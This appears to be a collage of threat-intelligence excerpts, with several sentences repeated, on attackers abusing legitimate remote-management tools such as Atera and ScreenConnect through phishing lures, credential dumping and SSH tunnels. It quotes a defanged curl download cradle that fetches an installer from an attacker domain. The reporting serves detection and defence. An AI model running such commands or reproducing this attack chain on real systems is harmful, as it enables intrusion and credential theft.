Atera

The content repeatedly states that threat actors 'obtained,' 'acquired,' or 'used' publicly available, open-source, legitimate, or modified tools such as Mimikatz, Cobalt Strike, PsExec, Empire, Impacket, and many others.

Instead of relying on malicious software that antivirus tools might catch and flag, they use legitimate remote access tools to blend in with normal IT activity.

The actor gained initial access through a phishing email directing the user to open a shared document hosted at hxxps[://]ws[.]onehub[.]com/files/ and download a file named ‘New Program ICC LTD.zip’.

A common lure is themed as a Social Security statement ( ssa.msi ) in an attempt to convince the victim they need to run the file to retrieve their statement.

MuddyWater began using "fully signed" and legitimate RMM tools as part of its attack chain in 2020, often by including links in phishing emails designed to trick victims into downloading and executing RMM installers.

Upon installing Atera Agent, the threat actors used Atera remote run commands to execute a PowerShell script (a.ps1) with the goal of dumping credentials and creating a backup file of the SYSTEM registry hive.

After which, the adversary first attempted a cradle (command line that downloads and installs a payload as a single command) to install ScreenConnect: cmd.exe /c mkdir C:\Temp 2>NUL & curl.exe -L hxxps[:]//server[.]rarexterna[.]top/Bin/ScreenConnect.ClientSetup[.]msi

this software has the ability to persist a reboot and allow threat actors to persist in the environment via the startup service it creates (T1569.002).

Instead of relying on malicious software that antivirus tools might catch and flag, they use legitimate remote access tools to blend in with normal IT activity.

Post-compromise actions in Atera also included: ... An obfuscated PowerShell command used to download the Level RMM tool

Even when the file is renamed to something like party_invite.exe , or Voicemailaudioext.exe ... A common lure is themed as a Social Security statement ( ssa.msi ) ... using lures such as a document ( docmentfilecsm_jw98evavuqm5gb3.exe ) or an IRS tax-related file ( IRS-Statement_Pr2ui4J9cfA6YEu.exe ).

The shift shows that threat actors are ditching conventional hacking tools and increasingly embracing living-off-the-land (LotL) tactics, in which attackers leverage legitimate software and command-line tools to evade threat detection.

Upon installing Atera Agent, the threat actors used Atera remote run commands to execute a PowerShell script (a.ps1) with the goal of dumping credentials and creating a backup file of the SYSTEM registry hive.

the threat actors used Atera remote run commands to execute a PowerShell script (a.ps1) with the goal of dumping credentials and creating a backup file of the SYSTEM registry hive.

Post-compromise actions in Atera also included: Multiple domain enumeration commands;

Post-compromise actions in Atera also included: Multiple domain enumeration commands;

Over the last few years, threat actors have flocked to exploit legitimate remote monitoring and management (RMM) tools—blue-chip IT software like ScreenConnect, LogMeIn Resolve, and PDQ Connect—blurring the line between legitimate IT administration and malicious intrusion.

SMB access remains one of the most reliable methods to achieve execution on the remote host.

Post-compromise actions in Atera also included: ... An SSH tunnel towards 51.16.209[.]105

Post-compromise actions in Atera also included: ... An SSH tunnel towards 51.16.209[.]105;

The ‘New Program ICC LTD.zip’ archive contained a compressed installer file for legitimate remote monitoring and management (RMM) tool Atera.

The ‘New Program ICC LTD.zip’ archive contained a compressed installer file for legitimate remote monitoring and management (RMM) tool Atera. Upon installing Atera Agent, the threat actors used Atera remote run commands to execute a PowerShell script (a.ps1)...

Many RMM tools provide end-to-end encryption and are accessed through vendor-operated relay servers, obviating the need for traditional command-and-control (C2) infrastructure that can be tracked by researchers and blocked by network security devices.

RMM tools often enable file sharing between compromised machines and those of attackers, as well as the execution of arbitrary commands. These features empower attackers to easily drop and execute additional tools or malware, or exfiltrate data.